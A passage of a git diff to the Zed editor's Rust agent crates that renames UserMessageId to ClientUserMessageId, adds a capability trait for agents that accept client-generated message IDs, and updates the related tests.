                 let AgentThreadEntry::UserMessage(message) = &thread.entries[2] else {
                     panic!("unexpected entries {:?}", thread.entries)
                 };
-                thread.restore_checkpoint(message.id.clone().unwrap(), cx)
+                thread.restore_checkpoint(message.client_id.clone().unwrap(), cx)
             })
             .await
             .unwrap();
@@ -6419,7 +6882,6 @@ mod tests {
 
         fn prompt(
             &self,
-            _id: UserMessageId,
             params: acp::PromptRequest,
             cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
@@ -6434,6 +6896,17 @@ mod tests {
             }
         }
 
+        fn client_user_message_ids(
+            &self,
+            _cx: &App,
+        ) -> Option<Rc<dyn AgentSessionClientUserMessageIds>> {
+            self.supports_truncate.then(|| {
+                Rc::new(FakeAgentSessionClientUserMessageIds {
+                    connection: self.clone(),
+                }) as Rc<dyn AgentSessionClientUserMessageIds>
+            })
+        }
+
         fn cancel(&self, _session_id: &acp::SessionId, _cx: &mut App) {}
 
         fn truncate(
@@ -6479,11 +6952,30 @@ mod tests {
     }
 
     impl AgentSessionTruncate for FakeAgentSessionEditor {
-        fn run(&self, _message_id: UserMessageId, _cx: &mut App) -> Task<Result<()>> {
+        fn run(
+            &self,
+            _client_user_message_id: ClientUserMessageId,
+            _cx: &mut App,
+        ) -> Task<Result<()>> {
             Task::ready(Ok(()))
         }
     }
 
+    struct FakeAgentSessionClientUserMessageIds {
+        connection: FakeAgentConnection,
+    }
+
+    impl AgentSessionClientUserMessageIds for FakeAgentSessionClientUserMessageIds {
+        fn prompt(
+            &self,
+            _client_user_message_id: ClientUserMessageId,
+            params: acp::PromptRequest,
+            cx: &mut App,
+        ) -> Task<Result<acp::PromptResponse>> {
+            self.connection.prompt(params, cx)
+        }
+    }
+
     #[gpui::test]
     async fn test_tool_call_not_found_creates_failed_entry(cx: &mut TestAppContext) {
         init_test(cx);
@@ -6689,7 +7181,7 @@ mod tests {
             let AgentThreadEntry::UserMessage(message) = &thread.entries[1] else {
                 panic!("expected user message at index 1");
             };
-            message.id.clone().unwrap()
+            message.client_id.clone().unwrap()
         });
 
         // Create a terminal AFTER the checkpoint we'll restore to.
@@ -6895,7 +7387,9 @@ mod tests {
         thread.update(cx, |thread, cx| {
             thread.push_entry(
                 AgentThreadEntry::UserMessage(UserMessage {
-                    id: Some(UserMessageId::new()),
+                    protocol_id: None,
+                    client_id: Some(ClientUserMessageId::new()),
+                    is_optimistic: true,
                     content: ContentBlock::Empty,
                     chunks: vec!["Injected message (no checkpoint)".into()],
                     checkpoint: None,
@@ -7097,7 +7591,9 @@ mod tests {
     }
 
     #[gpui::test]
-    async fn test_send_assigns_message_id_without_truncate_support(cx: &mut TestAppContext) {
+    async fn test_send_omits_message_id_without_client_user_message_id_support(
+        cx: &mut TestAppContext,
+    ) {
         init_test(cx);
 
         let fs = FakeFs::new(cx.executor());
@@ -7120,10 +7616,9 @@ mod tests {
             let AgentThreadEntry::UserMessage(message) = &thread.entries[0] else {
                 panic!("expected first entry to be a user message")
             };
-            assert!(
-                message.id.is_some(),
-                "user message should always have an id"
-            );
+            assert_eq!(message.protocol_id, None);
+            assert_eq!(message.client_id, None);
+            assert!(message.is_optimistic);
         });
     }
 
diff --git a/crates/acp_thread/src/connection.rs b/crates/acp_thread/src/connection.rs
index a730e6c39d958c..e5bb82e9afd46d 100644
--- a/crates/acp_thread/src/connection.rs
+++ b/crates/acp_thread/src/connection.rs
@@ -13,10 +13,11 @@ use ui::{App, IconName};
 use util::path_list::PathList;
 use uuid::Uuid;
 
+/// A user-message ID generated by Zed and passed to agents that support client IDs.
 #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Hash)]
-pub struct UserMessageId(SharedString);
+pub struct ClientUserMessageId(SharedString);
 
-impl UserMessageId {
+impl ClientUserMessageId {
     pub fn new() -> Self {
         Self(Uuid::new_v4().to_string().into())
     }
@@ -183,12 +184,16 @@ pub trait AgentConnection {
         Task::ready(Err(anyhow::Error::msg("Logout is not supported")))
     }
 
-    fn prompt(
+    /// Returns a capability for agents that accept client-generated user message IDs.
+    fn client_user_message_ids(
         &self,
-        user_message_id: UserMessageId,
-        params: acp::PromptRequest,
-        cx: &mut App,
-    ) -> Task<Result<acp::PromptResponse>>;
+        _cx: &App,
+    ) -> Option<Rc<dyn AgentSessionClientUserMessageIds>> {
+        None
+    }
+
+    fn prompt(&self, params: acp::PromptRequest, cx: &mut App)
+    -> Task<Result<acp::PromptResponse>>;
 
     fn retry(&self, _session_id: &acp::SessionId, _cx: &App) -> Option<Rc<dyn AgentSessionRetry>> {
         None
@@ -254,7 +259,20 @@ impl dyn AgentConnection {
 }
 
 pub trait AgentSessionTruncate {
-    fn run(&self, message_id: UserMessageId, cx: &mut App) -> Task<Result<()>>;
+    fn run(&self, client_user_message_id: ClientUserMessageId, cx: &mut App) -> Task<Result<()>>;
+}
+
+pub trait AgentSessionClientUserMessageIds {
+    fn new_id(&self) -> ClientUserMessageId {
+        ClientUserMessageId::new()
+    }
+
+    fn prompt(
+        &self,
+        client_user_message_id: ClientUserMessageId,
+        params: acp::PromptRequest,
+        cx: &mut App,
+    ) -> Task<Result<acp::PromptResponse>>;
 }
 
 pub trait AgentSessionRetry {
@@ -943,7 +961,6 @@ mod test_support {
 
         fn prompt(
             &self,
-            _id: UserMessageId,
             params: acp::PromptRequest,
             cx: &mut App,
         ) -> Task<gpui::Result<acp::PromptResponse>> {
@@ -1000,6 +1017,15 @@ mod test_support {
             }
         }
 
+        fn client_user_message_ids(
+            &self,
+            _cx: &App,
+        ) -> Option<Rc<dyn AgentSessionClientUserMessageIds>> {
+            Some(Rc::new(StubAgentSessionClientUserMessageIds {
+                connection: self.clone(),
+            }))
+        }
+
         fn cancel(&self, session_id: &acp::SessionId, _cx: &mut App) {
             if let Some(end_turn_tx) = self
                 .sessions
@@ -1042,10 +1068,25 @@ mod test_support {
         }
     }
 
+    struct StubAgentSessionClientUserMessageIds {
+        connection: StubAgentConnection,
+    }
+
+    impl AgentSessionClientUserMessageIds for StubAgentSessionClientUserMessageIds {
+        fn prompt(
+            &self,
+            _client_user_message_id: ClientUserMessageId,
+            params: acp::PromptRequest,
+            cx: &mut App,
+        ) -> Task<Result<acp::PromptResponse>> {
+            self.connection.prompt(params, cx)
+        }
+    }
+
     struct StubAgentSessionEditor;
 
     impl AgentSessionTruncate for StubAgentSessionEditor {
-        fn run(&self, _: UserMessageId, _: &mut App) -> Task<Result<()>> {
+        fn run(&self, _: ClientUserMessageId, _: &mut App) -> Task<Result<()>> {
             Task::ready(Ok(()))
         }
     }
diff --git a/crates/agent/src/agent.rs b/crates/agent/src/agent.rs
index e9abeef5a22614..75e52207f27f6e 100644
--- a/crates/agent/src/agent.rs
+++ b/crates/agent/src/agent.rs
@@ -30,7 +30,7 @@ pub use tools::*;
 
 use acp_thread::{
     AcpThread, AgentModelId, AgentModelSelector, AgentSessionInfo, AgentSessionList,
-    AgentSessionListRequest, AgentSessionListResponse, TokenUsageRatio, UserMessageId,
+    AgentSessionListRequest, AgentSessionListResponse, ClientUserMessageId, TokenUsageRatio,
 };
 use agent_client_protocol::schema::v1 as acp;
 use agent_skills::{
@@ -1818,7 +1818,7 @@ impl NativeAgent {
 
     fn send_mcp_prompt(
         &self,
-        message_id: UserMessageId,
+        client_user_message_id: ClientUserMessageId,
         session_id: acp::SessionId,
         prompt_name: String,
         server_id: ContextServerId,
@@ -1852,7 +1852,7 @@ impl NativeAgent {
 
             thread.update(cx, |thread, cx| {
                 thread.push_acp_user_block(
-                    message_id,
+                    client_user_message_id,
                     original_content.into_iter().skip(1),
                     path_style,
                     cx,
@@ -1865,7 +1865,7 @@ impl NativeAgent {
 
                 match role {
                     context_server::types::Role::User => {
-                        let id = acp_thread::UserMessageId::new();
+                        let id = acp_thread::ClientUserMessageId::new();
 
                         acp_thread.update(cx, |acp_thread, cx| {
                             acp_thread.push_user_content_block_with_indent(
@@ -1925,7 +1925,7 @@ impl NativeAgent {
     /// `/compact` slash command.
     fn send_compact_command(
         &self,
-        message_id: UserMessageId,
+        client_user_message_id: ClientUserMessageId,
         session_id: acp::SessionId,
         cx: &mut Context<Self>,
     ) -> Task<Result<acp::PromptResponse>> {
@@ -1938,7 +1938,8 @@ impl NativeAgent {
                 anyhow::Ok((session.acp_thread.clone(), session.thread.clone()))
             })??;
 
-            let response_stream = thread.update(cx, |thread, cx| thread.compact(message_id, cx))?;
+            let response_stream =
+                thread.update(cx, |thread, cx| thread.compact(client_user_message_id, cx))?;
             acp_thread.update(cx, |acp_thread, cx| {
                 acp_thread.update_token_usage(None, cx);
             });
@@ -1966,7 +1967,7 @@ impl NativeAgent {
     /// instructions followed by the user's request.
     fn send_skill_invocation(
         &self,
-        message_id: UserMessageId,
+        client_user_message_id: ClientUserMessageId,
         session_id: acp::SessionId,
         skill: Skill,
         original_content: Vec<acp::ContentBlock>,
@@ -2025,7 +2026,7 @@ impl NativeAgent {
             // the user can see what context was loaded for the skill. The
             // user's own typed message is already rendered by the normal
             // prompt flow, so we don't push it to the UI again here.
-            let injected_id = acp_thread::UserMessageId::new();
+            let injected_id = acp_thread::ClientUserMessageId::new();
             acp_thread.update(cx, |acp_thread, cx| {
                 acp_thread.push_user_content_block_with_indent(
                     Some(injected_id),
@@ -2042,7 +2043,7 @@ impl NativeAgent {
             combined.extend(user_blocks);
 
             thread.update(cx, |thread, cx| {
-                thread.push_acp_user_block(message_id, combined, path_style, cx);
+                thread.push_acp_user_block(client_user_message_id, combined, path_style, cx);
             });
 
             let response_stream = thread.update(cx, |thread, cx| thread.send_existing(cx))?;
@@ -2618,9 +2619,101 @@ impl acp_thread::AgentConnection for NativeAgentConnection {
         }) as Rc<dyn AgentModelSelector>)
     }
 
+    fn client_user_message_ids(
+        &self,
+        _cx: &App,
+    ) -> Option<Rc<dyn acp_thread::AgentSessionClientUserMessageIds>> {
+        let prompt: Rc<dyn acp_thread::AgentSessionClientUserMessageIds> = Rc::new(self.clone());
+        Some(prompt)
+    }
+
     fn prompt(
         &self,
-        id: acp_thread::UserMessageId,
+        params: acp::PromptRequest,
+        cx: &mut App,
+    ) -> Task<Result<acp::PromptResponse>> {
+        acp_thread::AgentSessionClientUserMessageIds::prompt(
+            self,
+            acp_thread::AgentSessionClientUserMessageIds::new_id(self),
+            params,
+            cx,
+        )
+    }
+
+    fn retry(
+        &self,
+        session_id: &acp::SessionId,
+        _cx: &App,
+    ) -> Option<Rc<dyn acp_thread::AgentSessionRetry>> {
+        Some(Rc::new(NativeAgentSessionRetry {
+            connection: self.clone(),
+            session_id: session_id.clone(),
+        }) as _)
+    }
+
+    fn cancel(&self, session_id: &acp::SessionId, cx: &mut App) {
+        log::info!("Cancelling on session: {}", session_id);
+        self.0.update(cx, |agent, cx| {
+            if let Some(session) = agent.sessions.get(session_id) {
+                session
+                    .thread
+                    .update(cx, |thread, cx| thread.cancel(cx))
+                    .detach();
+            }
+        });
+    }
+
+    fn truncate(
+        &self,
+        session_id: &acp::SessionId,
+        cx: &App,
+    ) -> Option<Rc<dyn acp_thread::AgentSessionTruncate>> {
+        self.0.read_with(cx, |agent, _cx| {
+            agent.sessions.get(session_id).map(|session| {
+                Rc::new(NativeAgentSessionTruncate {
+                    thread: session.thread.clone(),
+                    acp_thread: session.acp_thread.downgrade(),
+                }) as _
+            })
+        })
+    }
+
+    fn set_title(
+        &self,
+        session_id: &acp::SessionId,
+        cx: &App,
+    ) -> Option<Rc<dyn acp_thread::AgentSessionSetTitle>> {
+        self.0.read_with(cx, |agent, _cx| {
+            agent
+                .sessions
+                .get(session_id)
+                .filter(|s| !s.thread.read(cx).is_subagent())
+                .map(|session| {
+                    Rc::new(NativeAgentSessionSetTitle {
+                        thread: session.thread.clone(),
+                    }) as _
+                })
+        })
+    }
+
+    fn session_list(&self, cx: &mut App) -> Option<Rc<dyn AgentSessionList>> {
+        let thread_store = self.0.read(cx).thread_store.clone();
+        Some(Rc::new(NativeAgentSessionList::new(thread_store, cx)) as _)
+    }
+
+    fn telemetry(&self) -> Option<Rc<dyn acp_thread::AgentTelemetry>> {
+        Some(Rc::new(self.clone()) as Rc<dyn acp_thread::AgentTelemetry>)
+    }
+
+    fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
+        self
+    }
+}
+
+impl acp_thread::AgentSessionClientUserMessageIds for NativeAgentConnection {
+    fn prompt(
+        &self,
+        client_user_message_id: acp_thread::ClientUserMessageId,
         params: acp::PromptRequest,
         cx: &mut App,
     ) -> Task<Result<acp::PromptResponse>> {
@@ -2642,7 +2735,7 @@ impl acp_thread::AgentConnection for NativeAgentConnection {
         if let Some(parsed_command) = Command::parse(&params.prompt) {
             if parsed_command.is_unqualified(COMPACT_COMMAND_NAME) {
                 return self.0.update(cx, |agent, cx| {
-                    agent.send_compact_command(id, session_id, cx)
+                    agent.send_compact_command(client_user_message_id, session_id, cx)
                 });
             }
 
@@ -2659,7 +2752,13 @@ impl acp_thread::AgentConnection for NativeAgentConnection {
             {
                 let skill = skill.clone();
                 return self.0.update(cx, |agent, cx| {
-                    agent.send_skill_invocation(id, session_id.clone(), skill, params.prompt, cx)
+                    agent.send_skill_invocation(
+                        client_user_message_id,
+                        session_id.clone(),
+                        skill,
+                        params.prompt,
+                        cx,
+                    )
                 });
             }
 
@@ -2694,7 +2793,7 @@ impl acp_thread::AgentConnection for NativeAgentConnection {
 
                 return self.0.update(cx, |agent, cx| {
                     agent.send_mcp_prompt(
-                        id,
+                        client_user_message_id,
                         session_id.clone(),
                         prompt_name,
                         server_id,
@@ -2742,7 +2841,7 @@ impl acp_thread::AgentConnection for NativeAgentConnection {
                     let skill = skill.clone();
                     return self.0.update(cx, |agent, cx| {
                         agent.send_skill_invocation(
-                            id,
+                            client_user_message_id,
                             session_id.clone(),
                             skill,
                             params.prompt,
@@ -2762,81 +2861,14 @@ impl acp_thread::AgentConnection for NativeAgentConnection {
                 .map(|block| UserMessageContent::from_content_block(block, path_style))
                 .collect::<Vec<_>>();
             log::debug!("Converted prompt to message: {} chars", content.len());
-            log::debug!("Message id: {:?}", id);
+            log::debug!("Client user message id: {:?}", client_user_message_id);
             log::debug!("Message content: {:?}", content);
 
-            thread.update(cx, |thread, cx| thread.send(id, content, cx))
-        })
-    }
-
-    fn retry(
-        &self,
-        session_id: &acp::SessionId,
-        _cx: &App,
-    ) -> Option<Rc<dyn acp_thread::AgentSessionRetry>> {
-        Some(Rc::new(NativeAgentSessionRetry {
-            connection: self.clone(),
-            session_id: session_id.clone(),
-        }) as _)
-    }
-
-    fn cancel(&self, session_id: &acp::SessionId, cx: &mut App) {
-        log::info!("Cancelling on session: {}", session_id);
-        self.0.update(cx, |agent, cx| {
-            if let Some(session) = agent.sessions.get(session_id) {
-                session
-                    .thread
-                    .update(cx, |thread, cx| thread.cancel(cx))
-                    .detach();
-            }
-        });
-    }
-
-    fn truncate(
-        &self,
-        session_id: &acp::SessionId,
-        cx: &App,
-    ) -> Option<Rc<dyn acp_thread::AgentSessionTruncate>> {
-        self.0.read_with(cx, |agent, _cx| {
-            agent.sessions.get(session_id).map(|session| {
-                Rc::new(NativeAgentSessionTruncate {
-                    thread: session.thread.clone(),
-                    acp_thread: session.acp_thread.downgrade(),
-                }) as _
+            thread.update(cx, |thread, cx| {
+                thread.send(client_user_message_id, content, cx)
             })
         })
     }
-
-    fn set_title(
-        &self,
-        session_id: &acp::SessionId,
-        cx: &App,
-    ) -> Option<Rc<dyn acp_thread::AgentSessionSetTitle>> {
-        self.0.read_with(cx, |agent, _cx| {
-            agent
-                .sessions
-                .get(session_id)
-                .filter(|s| !s.thread.read(cx).is_subagent())
-                .map(|session| {
-                    Rc::new(NativeAgentSessionSetTitle {
-                        thread: session.thread.clone(),
-                    }) as _
-                })
-        })
-    }
-
-    fn session_list(&self, cx: &mut App) -> Option<Rc<dyn AgentSessionList>> {
-        let thread_store = self.0.read(cx).thread_store.clone();
-        Some(Rc::new(NativeAgentSessionList::new(thread_store, cx)) as _)
-    }
-
-    fn telemetry(&self) -> Option<Rc<dyn acp_thread::AgentTelemetry>> {
-        Some(Rc::new(self.clone()) as Rc<dyn acp_thread::AgentTelemetry>)
-    }
-
-    fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-        self
-    }
 }
 
 impl acp_thread::AgentTelemetry for NativeAgentConnection {
@@ -2938,9 +2970,13 @@ struct NativeAgentSessionTruncate {
 }
 
 impl acp_thread::AgentSessionTruncate for NativeAgentSessionTruncate {
-    fn run(&self, message_id: acp_thread::UserMessageId, cx: &mut App) -> Task<Result<()>> {
+    fn run(
+        &self,
+        client_user_message_id: acp_thread::ClientUserMessageId,
+        cx: &mut App,
+    ) -> Task<Result<()>> {
         match self.thread.update(cx, |thread, cx| {
-            thread.truncate(message_id.clone(), cx)?;
+            thread.truncate(client_user_message_id.clone(), cx)?;
             Ok(thread.latest_token_usage())
         }) {
             Ok(usage) => {
@@ -3780,7 +3816,7 @@ mod internal_tests {
         let session_id = cx.update(|cx| acp_thread.read(cx).session_id().clone());
         let thread = cx.update(|cx| native_thread_for_session(&agent, &session_id, cx));
         let model = Arc::new(FakeLanguageModel::default());
-        let old_message_id = UserMessageId::new();
+        let old_message_id = ClientUserMessageId::new();
 
         cx.update(|cx| {
             let path_style = project.read(cx).path_style(cx);
@@ -3796,9 +3832,10 @@ mod internal_tests {
             });
         });
 
-        let compact_message_id = UserMessageId::new();
+        let compact_message_id = ClientUserMessageId::new();
         let prompt_task = cx.update(|cx| {
-            connection.prompt(
+            acp_thread::AgentSessionClientUserMessageIds::prompt(
+                connection.as_ref(),
                 compact_message_id,
                 acp::PromptRequest::new(session_id.clone(), vec!["/compact".into()]),
                 cx,
@@ -3854,7 +3891,7 @@ mod internal_tests {
             let path_style = project.read(cx).path_style(cx);
             thread.update(cx, |thread, cx| {
                 thread.push_acp_user_block(
-                    UserMessageId::new(),
+                    ClientUserMessageId::new(),
                     [acp::ContentBlock::from("hello from the user")],
                     path_style,
                     cx,
diff --git a/crates/agent/src/db.rs b/crates/agent/src/db.rs
index 6d104bd5bd221d..617688335067c4 100644
--- a/crates/agent/src/db.rs
+++ b/crates/agent/src/db.rs
@@ -1,5 +1,5 @@
 use crate::{AgentMessage, AgentMessageContent, UserMessage, UserMessageContent};
-use acp_thread::UserMessageId;
+use acp_thread::ClientUserMessageId;
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentProfileId;
 use anyhow::{Result, anyhow};
@@ -62,7 +62,7 @@ pub struct DbThread {
     #[serde(default)]
     pub cumulative_token_usage: language_model::TokenUsage,
     #[serde(default)]
-    pub request_token_usage: HashMap<acp_thread::UserMessageId, language_model::TokenUsage>,
+    pub request_token_usage: HashMap<acp_thread::ClientUserMessageId, language_model::TokenUsage>,
     #[serde(default)]
     pub model: Option<DbLanguageModel>,
     #[serde(default)]
@@ -241,7 +241,7 @@ impl DbThread {
                         content.push(UserMessageContent::Text(msg.context));
                     }
 
-                    let id = UserMessageId::new();
+                    let id = ClientUserMessageId::new();
                     last_user_message_id = Some(id.clone());
 
                     crate::Message::User(UserMessage {
diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 876fa33b9b9a00..11f542ee8e6cf0 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -1,7 +1,7 @@
 use super::*;
 use acp_thread::{
-    AgentConnection, AgentModelGroupName, AgentModelList, PermissionOptions, ThreadStatus,
-    UserMessageId,
+    AgentConnection, AgentModelGroupName, AgentModelList, ClientUserMessageId, PermissionOptions,
+    ThreadStatus,
 };
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentProfileId;
@@ -301,7 +301,11 @@ async fn test_echo(cx: &mut TestAppContext) {
 
     let events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Testing: Reply with 'Hello'"], cx)
+            thread.send(
+                ClientUserMessageId::new(),
+                ["Testing: Reply with 'Hello'"],
+                cx,
+            )
         })
         .unwrap();
     cx.run_until_parked();
@@ -453,7 +457,7 @@ async fn test_thinking(cx: &mut TestAppContext) {
     let events = thread
         .update(cx, |thread, cx| {
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 [indoc! {"
                     Testing:
 
@@ -536,7 +540,7 @@ async fn test_system_prompt(cx: &mut TestAppContext) {
     thread.update(cx, |thread, _| thread.add_tool(EchoTool));
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -574,7 +578,7 @@ async fn test_system_prompt_without_tools(cx: &mut TestAppContext) {
 
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -613,7 +617,7 @@ async fn test_prompt_caching(cx: &mut TestAppContext) {
     // Send initial user message and verify it's cached
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Message 1"], cx)
+            thread.send(ClientUserMessageId::new(), ["Message 1"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -637,7 +641,7 @@ async fn test_prompt_caching(cx: &mut TestAppContext) {
     // Send another user message and verify only the latest is cached
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Message 2"], cx)
+            thread.send(ClientUserMessageId::new(), ["Message 2"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -676,7 +680,7 @@ async fn test_prompt_caching(cx: &mut TestAppContext) {
     thread.update(cx, |thread, _| thread.add_tool(EchoTool));
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Use the echo tool"], cx)
+            thread.send(ClientUserMessageId::new(), ["Use the echo tool"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -761,7 +765,7 @@ async fn test_basic_tool_calls(cx: &mut TestAppContext) {
         .update(cx, |thread, cx| {
             thread.add_tool(EchoTool);
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["Now test the echo tool with 'Hello'. Does it work? Say 'Yes' or 'No'."],
                 cx,
             )
@@ -777,7 +781,7 @@ async fn test_basic_tool_calls(cx: &mut TestAppContext) {
             thread.remove_tool(&EchoTool::NAME);
             thread.add_tool(DelayTool);
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 [
                     "Now call the delay tool with 200ms.",
                     "When the timer goes off, then you echo the output of the tool.",
@@ -820,7 +824,7 @@ async fn test_streaming_tool_calls(cx: &mut TestAppContext) {
     let mut events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(WordListTool);
-            thread.send(UserMessageId::new(), ["Test the word_list tool."], cx)
+            thread.send(ClientUserMessageId::new(), ["Test the word_list tool."], cx)
         })
         .unwrap();
 
@@ -871,7 +875,7 @@ async fn test_tool_authorization(cx: &mut TestAppContext) {
     let mut events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(ToolRequiringPermission);
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -1016,7 +1020,7 @@ async fn test_tool_hallucination(cx: &mut TestAppContext) {
 
     let mut events = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["abc"], cx)
+            thread.send(ClientUserMessageId::new(), ["abc"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -1345,7 +1349,7 @@ async fn test_concurrent_tool_calls(cx: &mut TestAppContext) {
         .update(cx, |thread, cx| {
             thread.add_tool(DelayTool);
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 [
                     "Call the delay tool twice in the same message.",
                     "Once with 100ms. Once with 300ms.",
@@ -1425,7 +1429,7 @@ async fn test_profiles(cx: &mut TestAppContext) {
     thread
         .update(cx, |thread, cx| {
             thread.set_profile(AgentProfileId("test-1".into()), cx);
-            thread.send(UserMessageId::new(), ["test"], cx)
+            thread.send(ClientUserMessageId::new(), ["test"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -1445,7 +1449,7 @@ async fn test_profiles(cx: &mut TestAppContext) {
     thread
         .update(cx, |thread, cx| {
             thread.set_profile(AgentProfileId("test-2".into()), cx);
-            thread.send(UserMessageId::new(), ["test2"], cx)
+            thread.send(ClientUserMessageId::new(), ["test2"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -1515,7 +1519,9 @@ async fn test_mcp_tools(cx: &mut TestAppContext) {
     );
 
     let events = thread.update(cx, |thread, cx| {
-        thread.send(UserMessageId::new(), ["Hey"], cx).unwrap()
+        thread
+            .send(ClientUserMessageId::new(), ["Hey"], cx)
+            .unwrap()
     });
     cx.run_until_parked();
 
@@ -1558,7 +1564,7 @@ async fn test_mcp_tools(cx: &mut TestAppContext) {
     // Send again after adding the echo tool, ensuring the name collision is resolved.
     let events = thread.update(cx, |thread, cx| {
         thread.add_tool(EchoTool);
-        thread.send(UserMessageId::new(), ["Go"], cx).unwrap()
+        thread.send(ClientUserMessageId::new(), ["Go"], cx).unwrap()
     });
     cx.run_until_parked();
     let completion = fake_model.pending_completions().pop().unwrap();
@@ -1678,7 +1684,7 @@ async fn test_mcp_tool_multi_content_response(cx: &mut TestAppContext) {
 
     let events = thread.update(cx, |thread, cx| {
         thread
-            .send(UserMessageId::new(), ["Take a screenshot"], cx)
+            .send(ClientUserMessageId::new(), ["Take a screenshot"], cx)
             .unwrap()
     });
     cx.run_until_parked();
@@ -1819,7 +1825,7 @@ async fn test_mcp_tool_result_displayed_when_server_disconnected(cx: &mut TestAp
     // Send a message and have the model call the MCP tool
     let events = thread.update(cx, |thread, cx| {
         thread
-            .send(UserMessageId::new(), ["Read issue #47404"], cx)
+            .send(ClientUserMessageId::new(), ["Read issue #47404"], cx)
             .unwrap()
     });
     cx.run_until_parked();
@@ -2112,7 +2118,7 @@ async fn test_mcp_tool_truncation(cx: &mut TestAppContext) {
 
     thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Go"], cx)
+            thread.send(ClientUserMessageId::new(), ["Go"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -2148,7 +2154,7 @@ async fn test_cancellation(cx: &mut TestAppContext) {
             thread.add_tool(InfiniteTool);
             thread.add_tool(EchoTool);
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["Call the echo tool, then call the infinite tool, then explain their output"],
                 cx,
             )
@@ -2205,7 +2211,7 @@ async fn test_cancellation(cx: &mut TestAppContext) {
     let events = thread
         .update(cx, |thread, cx| {
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["Testing: reply with 'Hello' then stop."],
                 cx,
             )
@@ -2242,7 +2248,7 @@ async fn test_terminal_tool_cancellation_captures_output(cx: &mut TestAppContext
                 thread.project().clone(),
                 environment,
             ));
-            thread.send(UserMessageId::new(), ["run a command"], cx)
+            thread.send(ClientUserMessageId::new(), ["run a command"], cx)
         })
         .unwrap();
 
@@ -2334,7 +2340,7 @@ async fn test_cancellation_aware_tool_responds_to_cancellation(cx: &mut TestAppC
         .update(cx, |thread, cx| {
             thread.add_tool(tool);
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["call the cancellation aware tool"],
                 cx,
             )
@@ -2423,7 +2429,7 @@ async fn verify_thread_recovery(
     let events = thread
         .update(cx, |thread, cx| {
             thread.send(
-                UserMessageId::new(),
+                ClientUserMessageId::new(),
                 ["Testing: reply with 'Hello' then stop."],
                 cx,
             )
@@ -2516,7 +2522,7 @@ async fn test_truncate_while_terminal_tool_running(cx: &mut TestAppContext) {
     }));
     let handle = environment.terminal_handle.clone().unwrap();
 
-    let message_id = UserMessageId::new();
+    let message_id = ClientUserMessageId::new();
     let mut events = thread
         .update(cx, |thread, cx| {
             thread.add_tool(crate::TerminalTool::new(
@@ -2588,7 +2594,7 @@ async fn test_cancel_multiple_concurrent_terminal_tools(cx: &mut TestAppContext)
                 thread.project().clone(),
                 environment.clone(),
             ));
-            thread.send(UserMessageId::new(), ["run multiple commands"], cx)
+            thread.send(ClientUserMessageId::new(), ["run multiple commands"], cx)
         })
         .unwrap();
 
@@ -2702,7 +2708,7 @@ async fn test_terminal_tool_stopped_via_terminal_card_button(cx: &mut TestAppCon
                 thread.project().clone(),
                 environment,
             ));
-            thread.send(UserMessageId::new(), ["run a command"], cx)
+            thread.send(ClientUserMessageId::new(), ["run a command"], cx)
         })
         .unwrap();
 
@@ -2794,7 +2800,11 @@ async fn test_terminal_tool_timeout_expires(cx: &mut TestAppContext) {
                 thread.project().clone(),
                 environment,
             ));
-            thread.send(UserMessageId::new(), ["run a command with timeout"], cx)
+            thread.send(
+                ClientUserMessageId::new(),
+                ["run a command with timeout"],
+                cx,
+            )
         })
         .unwrap();
 
@@ -2879,7 +2889,7 @@ async fn test_in_progress_send_canceled_by_next_send(cx: &mut TestAppContext) {
 
     let events_1 = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello 1"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello 1"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -2888,7 +2898,7 @@ async fn test_in_progress_send_canceled_by_next_send(cx: &mut TestAppContext) {
 
     let events_2 = thread
         .update(cx, |thread, cx| {
-            thread.send(UserMessageId::new(), ["Hello 2"], cx)
+            thread.send(ClientUserMessageId::new(), ["Hello 2"], cx)
         })
         .unwrap();
     cx.run_until_parked();
@@ -2915,7 +2925,7 @@ async fn test_retry_cancelled_promptly_on_new_send(cx: &mut TestAppContext) {
     // Start a turn with model_a.
